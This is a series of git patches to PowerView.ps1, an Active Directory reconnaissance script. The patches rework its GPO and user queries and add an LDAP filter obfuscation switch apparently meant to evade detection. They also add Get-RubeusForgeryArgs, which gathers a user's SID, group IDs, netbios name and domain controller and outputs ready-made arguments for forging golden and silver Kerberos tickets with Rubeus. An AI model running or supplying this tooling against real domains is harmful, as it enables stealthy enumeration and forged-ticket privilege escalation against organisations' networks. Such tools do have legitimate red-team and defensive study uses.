-ne '') ) { + $Filter += "(|$IdentityFilter)" + } - if ($PSBoundParameters['LDAPFilter']) { - Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" - $Filter += "$LDAPFilter" - } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } - $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" - Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" + $Filter = "(&(objectCategory=groupPolicyContainer)$Filter)" + Write-Verbose "[Get-DomainGPO] filter string: $($Filter)" - if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } - else { $Results = $GPOSearcher.FindAll() } - $Results | Where-Object {$_} | ForEach-Object { - if ($PSBoundParameters['Raw']) { - # return raw result objects - $GPO = $_ - $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') - } - else { - if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { - $GPO = Convert-LDAPProperty -Properties $_.Properties - try { - $GPODN = $GPO.distinguishedname - $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" - $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter" + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $GPO = $_ + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) { + $Prop[$a] = $_.Attributes[$a] } - catch { - Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values } } - else { - $GPO = Convert-LDAPProperty -Properties $_.Properties + } + else { + $Prop = $_.Properties + } + + if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { + $GPO = Convert-LDAPProperty -Properties $Prop + try { + $GPODN = $GPO.distinguishedname + $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" + $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath + } + catch { + Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" } - $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } - $GPO - } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" + else { + $GPO = Convert-LDAPProperty -Properties $Prop } + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $GPO + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" } - $GPOSearcher.dispose() } } } @@ -14628,6 +14662,14 @@ Specifies the maximum amount of time the server spends searching. Default of 120 A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainPolicyData @@ -14689,7 +14731,13 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file. [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) BEGIN { @@ -14697,6 +14745,8 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file. if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } $ConvertArguments = @{} if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } @@ -23923,6 +23973,311 @@ String $OutFilter } +function Convert-LogonHours { +<# +.SYNOPSIS + +Convert logonhours LDAP attribute from byte array to readable string. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Convert logonhours LDAP attribute from byte array to readable string. + +.PARAMETER LogonHours + +.EXAMPLE + +Convert-LogonHours -LogonHours $LogonHours + +.INPUTS + +Byte[] + +.OUTPUTS + +PSObject +#> + [OutputType('String')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + $LogonHours + ) + + BEGIN { + $Days = @{ + 0 = "Sunday"; + 1 = "Sunday"; + 2 = "Sunday"; + 3 = "Monday"; + 4 = "Monday"; + 5 = "Monday"; + 6 = "Tuesday"; + 7 = "Tuesday"; + 8 = "Tuesday"; + 9 = "Wednesday"; + 10 = "Wednesday"; + 11 = "Wednesday"; + 12 = "Thursday"; + 13 = "Thursday"; + 14 = "Thursday"; + 15 = "Friday"; + 16 = "Friday"; + 17 = "Friday"; + 18 = "Saturday"; + 19 = "Saturday"; + 20 = "Saturday"; + } + + $Hours = @{ + 0 = 1; + 1 = 2; + 2 = 4; + 3 = 8; + 4 = 16; + 5 = 32; + 6 = 64; + 7 = 128; + } + + $OutObject = New-Object PSObject -Property @{ + "Monday" = @{}; + "Tuesday" = @{}; + "Wednesday" = @{}; + "Thursday" = @{}; + "Friday" = @{}; + "Saturday" = @{}; + "Sunday" = @{}; + } + } + + PROCESS { + $ByteCounter = 0 + $DayCounter = 0 + + foreach ($byte in $LogonHours) { + foreach ($bit in $Hours.Keys) { + $Permitted = $false + if ($byte -band $Hours[$bit]) { + $Permitted = $true + } + $hour = $ByteCounter * 8 + $bit + $day = $Days[$DayCounter] + $OutObject.$day[$hour] = $Permitted + } + $ByteCounter += 1 + if ($ByteCounter -eq 3) { + $ByteCounter = 0 + } + $DayCounter += 1 + } + + $OutObject + } +} + +function Get-RubeusForgeryArgs { +<# +.SYNOPSIS + +Return a string containing the arguments required to forge a valid ticket with Rubeus' golden and silver commands. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Return a string containing the arguments required to forge a valid ticket with Rubeus' golden and silver commands. + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + +.EXAMPLE + +Get-RubeusForgeryArgs exploitph + +.INPUTS + +String + +.OUTPUTS + +String + +#> + [OutputType([PSObject])] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate + ) + + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } + + $ForestArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + } + + PROCESS { + $Filter = '' + $Identity | Get-IdentityFilterString | ForEach-Object { + $Filter += $_ + } + if (-not $Filter -or $Filter -eq '') { + Write-Error "[Get-RubeusForgeryArgs] Identity argument is required!" + return + } + # get policy objects first + $DomainPolicy = Get-DomainPolicy -Policy Domain @SearcherArguments + + + Write-Verbose "[Get-RubeusForgeryArgs] filter string: (|$Filter)" + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(|$Filter)" + $Results | Where-Object {$_} | ForEach-Object { + $OutArguments = '' + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } + } + } + else { + $Prop = $_.Properties + } + + $Account = Convert-LDAPProperty -Properties $Prop + $Account.PSObject.TypeNames.Insert(0, 'PowerView.Account') + + # extract the account id and domain sid + $AccountID = $Account.objectsid.Substring($Account.objectsid.LastIndexOf('-')+1) + $DomainSID = $Account.objectsid.Substring(0, $Account.objectsid.LastIndexOf('-')) + + # get groups + $GroupFilter = '' + foreach ($group in $Account.memberof) { + $GroupFilter += "(distinguishedname=$group)" + } + $Groups = @() + if ($GroupFilter) { + $GroupFilter = "(|$GroupFilter)" + Write-Verbose "[Get-RubeusForgeryArgs] filter string: $GroupFilter" + + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$GroupFilter" + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } + } + } + else { + $Prop = $_.Properties + } + + $GroupObject = Convert-LDAPProperty -Properties $Prop + $GroupID = $GroupObject.objectsid.Substring($GroupObject.objectsid.LastIndexOf('-')+1) + $Groups += $GroupID + } + } + + # get netbios name + $DomainObject = Get-Domain @ForestArguments + $Domain = $DomainObject.Name + $Forest = $DomainObject.Forest + + $ForestDN = "DC=$($Forest -replace '\.',',DC=')" + $ConfigDN = "CN=Configuration,$ForestDN" + $NetbiosFilter = "(&(netbiosname=*)(dnsroot=$Domain))" + $NetbiosName = (Get-DomainObject -SearchBase "$ConfigDN" -LdapFilter "$NetbiosFilter" @SearcherArguments).netbiosname + + # we have everything we can start to build the arguments + $OutArguments = "/user:$($Account.samaccountname) /id:$AccountID /sid:$DomainSID /netbios:$NetbiosName /dc:$($DomainObject.DomainControllers[0].Name) /domain:$Domain /pgid:$($Account.primarygroupid) /uac:$($Account.useraccountcontrol -replace ' ','') /displayname:""$($Account.displayname)""" + if ($Groups.Length -gt 0) { + $OutArguments += " /groups:$($Groups -join ',')" + } + + $OutArguments + } + } +} + ######################################################## # From 41d2564bc29412a16e10e3745e177204eca174e0 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Sat, 31 Jul 2021 00:21:26 +0100 Subject: [PATCH 48/58] some more work on Get-RubeusForgeryArgs and soem fixes for ldap filter obfuscation --- Recon/PowerView.ps1 | 42 +++++++++++++++++++++++++++++++++++++++--- 1 file changed, 39 insertions(+), 3 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 88407d75..3062db66 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -23932,8 +23932,13 @@ String } else { - $Value = $Parts[$i].SubString(0,$Parts[$i].IndexOf(')')) - if ($Value.Length -gt 0) { + if ($Parts[$i].IndexOf(')') -ne -1) { + $Value = $Parts[$i].SubString(0,$Parts[$i].IndexOf(')')) + } + else { + $Value = $Parts[$i] + } + if ($Value.Length -gt 1) { $OutValueHash = @{} for ($c=0; $c -lt (Get-Random -Maximum $($Value.Length) -Minimum 1); $c++) { $Index = Get-Random -Maximum $($Value.Length - 1) @@ -23955,6 +23960,11 @@ String $OutFilter += "$($Value[$c])" } } + } + else { + $OutFilter += "$($Value)" + } + if ($Parts[$i].IndexOf(')') -ne -1) { $Next = $Parts[$i].SubString($Parts[$i].IndexOf(')')) if ($i -eq $Parts.Length - 1) { $OutFilter += "$($Next)" @@ -23966,6 +23976,14 @@ String $Skip = $True } } + else { + if (Get-Random -Maximum 2) { + $OutFilter += "=" + } + else { + $OutFilter += '\3d' + } + } } } @@ -24268,10 +24286,28 @@ String $NetbiosName = (Get-DomainObject -SearchBase "$ConfigDN" -LdapFilter "$NetbiosFilter" @SearcherArguments).netbiosname # we have everything we can start to build the arguments - $OutArguments = "/user:$($Account.samaccountname) /id:$AccountID /sid:$DomainSID /netbios:$NetbiosName /dc:$($DomainObject.DomainControllers[0].Name) /domain:$Domain /pgid:$($Account.primarygroupid) /uac:$($Account.useraccountcontrol -replace ' ','') /displayname:""$($Account.displayname)""" + $OutArguments = "/user:$($Account.samaccountname) /id:$AccountID /sid:$DomainSID /netbios:$NetbiosName /dc:$($DomainObject.DomainControllers[0].Name) /domain:$Domain /pgid:$($Account.primarygroupid) /uac:$($Account.useraccountcontrol -replace ' ','') /displayname:""$($Account.displayname)"" /logoncount:$($Account.logoncount) /badpwdcount:$($Account.badpwdcount) /pwdlastset:""$($Account.pwdlastset.ToString())""" if ($Groups.Length -gt 0) { $OutArguments += " /groups:$($Groups -join ',')" } + if ($Account.scriptpath) { + $OutArguments += " /scriptpath:""$($Account.scriptpath)""" + } + if ($Account.profilepath) { + $OutArguments += " /profilepath:""$($Account.profilepath)""" + } + if ($Account.homedrive) { + $OutArguments += " /homedrive:""$($Account.homedrive)""" + } + if ($Account.homedirectory) { + $OutArguments += " /homedir:""$($Account.homedirectory)""" + } + if ($Account.lastlogon -notmatch 1601) { + $OutArguments += " /lastlogon:""$($Account.lastlogon.ToString())""" + } + + + $OutArguments } From e40337e57ddd1107694631854fbc6734a6bd4926 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Sat, 31 Jul 2021 00:34:24 +0100 Subject: [PATCH 49/58] fix -Obfuscate for Get-DomainUser --- Recon/PowerView.ps1 | 390 +++++++++++++++++++++----------------------- 1 file changed, 190 insertions(+), 200 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 3062db66..71bca01d 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5300,7 +5300,6 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } - $UserSearcher = Get-DomainSearcher @SearcherArguments $PolicyArguments = @{} if ($PSBoundParameters['Domain']) { $PolicyArguments['Domain'] = $Domain } @@ -5315,237 +5314,228 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } - if ($UserSearcher) { - $IdentityFilter = '' - $Filter = '' - $MaximumAge = $Null - $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { - # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname - # and rebuild the domain searcher - $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - $SearcherArguments['Domain'] = $IdentityDomain - $UserSearcher = Get-DomainSearcher @SearcherArguments - if (-not $UserSearcher) { - Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" - } - } - } - elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { - $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - elseif ($IdentityInstance.Contains('\')) { - $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical - if ($ConvertedIdentityInstance) { - $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) - $UserName = $IdentityInstance.Split('\')[1] - $IdentityFilter += "(samAccountName=$UserName)" - $SearcherArguments['Domain'] = $UserDomain - Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" - $UserSearcher = Get-DomainSearcher @SearcherArguments - } - } - else { - $IdentityFilter += "(samAccountName=$IdentityInstance)" - } - } - - if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { - $Filter += "(|$IdentityFilter)" - } - - if ($PSBoundParameters['SPN']) { - Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' - $Filter += '(servicePrincipalName=*)' - } - if ($PSBoundParameters['Enabled']) { - Write-Verbose '[Get-DomainUser] Searching for users who are enabled' - # negation of "Accounts that are disabled" - $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' - } - if ($PSBoundParameters['Disabled']) { - Write-Verbose '[Get-DomainUser] Searching for users who are disabled' - # inclusion of "Accounts that are disabled" - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=2)' + $IdentityFilter = '' + $Filter = '' + $MaximumAge = $Null + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" } - if ($PSBoundParameters['Locked']) { - Write-Verbose '[Get-DomainUser] Searching for users who are locked' - # need to get the lockout duration from the domain policy - $Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDuration - if ($Duration -eq -1) { - $LockoutTime = 1 - } - else { - $LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc() + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain } - $Filter += "(lockoutTime>=$LockoutTime)" } - elseif ($PSBoundParameters['Unlocked']) { - Write-Verbose '[Get-DomainUser] Searching for users who are unlocked' - # need to get the lockout duration from the domain policy - $Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDuration - if ($Duration -eq -1) { - $LockoutTime = 1 - } - else { - $LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc() - } - $Filter += "(!(lockoutTime>=$LockoutTime))" + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" } - if ($PSBoundParameters['PassExpired']) { - Write-Verbose '[Get-DomainUser] Ignoring users that have passwords to never expire' - $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=65536))' - Write-Verbose '[Get-DomainUser] Getting the maximum password age from the domain policy' - $MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge - if ($MaximumAge -lt 1) { - Write-Warning '[Get-DomainUser] Password expiry disabled in domain policy, no users will be returned' - return + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $UserName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$UserName)" + $SearcherArguments['Domain'] = $UserDomain + Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" } } - elseif ($PSBoundParameters['NoPassExpiry']) { - Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire' - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)' - } - if ($PSBoundParameters['PassNotExpired']) { - Write-Verbose "[Get-DomainUser] Getting the maximum password age from the domain policy" - $MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge - } - if ($PSBoundParameters['AllowDelegation']) { - Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' - # negation of "Accounts that are sensitive and not trusted for delegation" - $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048576))' - } - elseif ($PSBoundParameters['DisallowDelegation']) { - Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)' - } - if ($PSBoundParameters['Unconstrained']) { - Write-Verbose '[Get-DomainUser] Searching for users configured for unconstrained delegation' - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' - } - if ($PSBoundParameters['AdminCount']) { - Write-Verbose '[Get-DomainUser] Searching for adminCount=1' - $Filter += '(admincount=1)' + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" } - if ($PSBoundParameters['TrustedToAuth']) { - Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' - $Filter += '(msds-allowedtodelegateto=*)' + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['SPN']) { + Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' + $Filter += '(servicePrincipalName=*)' + } + if ($PSBoundParameters['Enabled']) { + Write-Verbose '[Get-DomainUser] Searching for users who are enabled' + # negation of "Accounts that are disabled" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' + } + if ($PSBoundParameters['Disabled']) { + Write-Verbose '[Get-DomainUser] Searching for users who are disabled' + # inclusion of "Accounts that are disabled" + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=2)' + } + if ($PSBoundParameters['Locked']) { + Write-Verbose '[Get-DomainUser] Searching for users who are locked' + # need to get the lockout duration from the domain policy + $Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDuration + if ($Duration -eq -1) { + $LockoutTime = 1 } - if ($PSBoundParameters['RBCD']) { - Write-Verbose '[Get-DomainUser] Searching for users that are configured to allow resource-based constrained delegation' - $Filter += '(msds-allowedtoactonbehalfofotheridentity=*)' + else { + $LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc() } - if ($PSBoundParameters['PreauthNotRequired']) { - Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' + $Filter += "(lockoutTime>=$LockoutTime)" + } + elseif ($PSBoundParameters['Unlocked']) { + Write-Verbose '[Get-DomainUser] Searching for users who are unlocked' + # need to get the lockout duration from the domain policy + $Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDuration + if ($Duration -eq -1) { + $LockoutTime = 1 } - if ($PSBoundParameters['PassNotRequired']) { - Write-Verbose '[Get-DomainUser] Searching for user accounts that have PASSWD_NOTREQD set' - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=32)' + else { + $LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc() } - if ($PSBoundParameters['PassLastSet']) { - Write-Verbose "[Get-DomainUser] Searching for user accounts that have not had a password change for at least $PSBoundParameters['PassLastSet'] days" - $PwdDate = (Get-Date).AddDays(-$PSBoundParameters['PassLastSet']).ToFileTime() - $Filter += "(pwdlastset<=$PwdDate)" + $Filter += "(!(lockoutTime>=$LockoutTime))" + } + if ($PSBoundParameters['PassExpired']) { + Write-Verbose '[Get-DomainUser] Ignoring users that have passwords to never expire' + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=65536))' + Write-Verbose '[Get-DomainUser] Getting the maximum password age from the domain policy' + $MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge + if ($MaximumAge -lt 1) { + Write-Warning '[Get-DomainUser] Password expiry disabled in domain policy, no users will be returned' + return } + } + elseif ($PSBoundParameters['NoPassExpiry']) { + Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)' + } + if ($PSBoundParameters['PassNotExpired']) { + Write-Verbose "[Get-DomainUser] Getting the maximum password age from the domain policy" + $MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge + } + if ($PSBoundParameters['AllowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048576))' + } + elseif ($PSBoundParameters['DisallowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)' + } + if ($PSBoundParameters['Unconstrained']) { + Write-Verbose '[Get-DomainUser] Searching for users configured for unconstrained delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' + } + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainUser] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['RBCD']) { + Write-Verbose '[Get-DomainUser] Searching for users that are configured to allow resource-based constrained delegation' + $Filter += '(msds-allowedtoactonbehalfofotheridentity=*)' + } + if ($PSBoundParameters['PreauthNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' + } + if ($PSBoundParameters['PassNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that have PASSWD_NOTREQD set' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=32)' + } + if ($PSBoundParameters['PassLastSet']) { + Write-Verbose "[Get-DomainUser] Searching for user accounts that have not had a password change for at least $PSBoundParameters['PassLastSet'] days" + $PwdDate = (Get-Date).AddDays(-$PSBoundParameters['PassLastSet']).ToFileTime() + $Filter += "(pwdlastset<=$PwdDate)" + } - if ($PSBoundParameters['LDAPFilter']) { - Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" - $Filter += "$LDAPFilter" - } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } - # build the LDAP filter for the dynamic UAC filter value - $UACFilter | Where-Object {$_} | ForEach-Object { - if ($_ -match 'NOT_.*') { - $UACField = $_.Substring(4) - $UACValue = [Int]($UACEnum::$UACField) - $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" - } - else { - $UACValue = [Int]($UACEnum::$_) - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" - } + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | 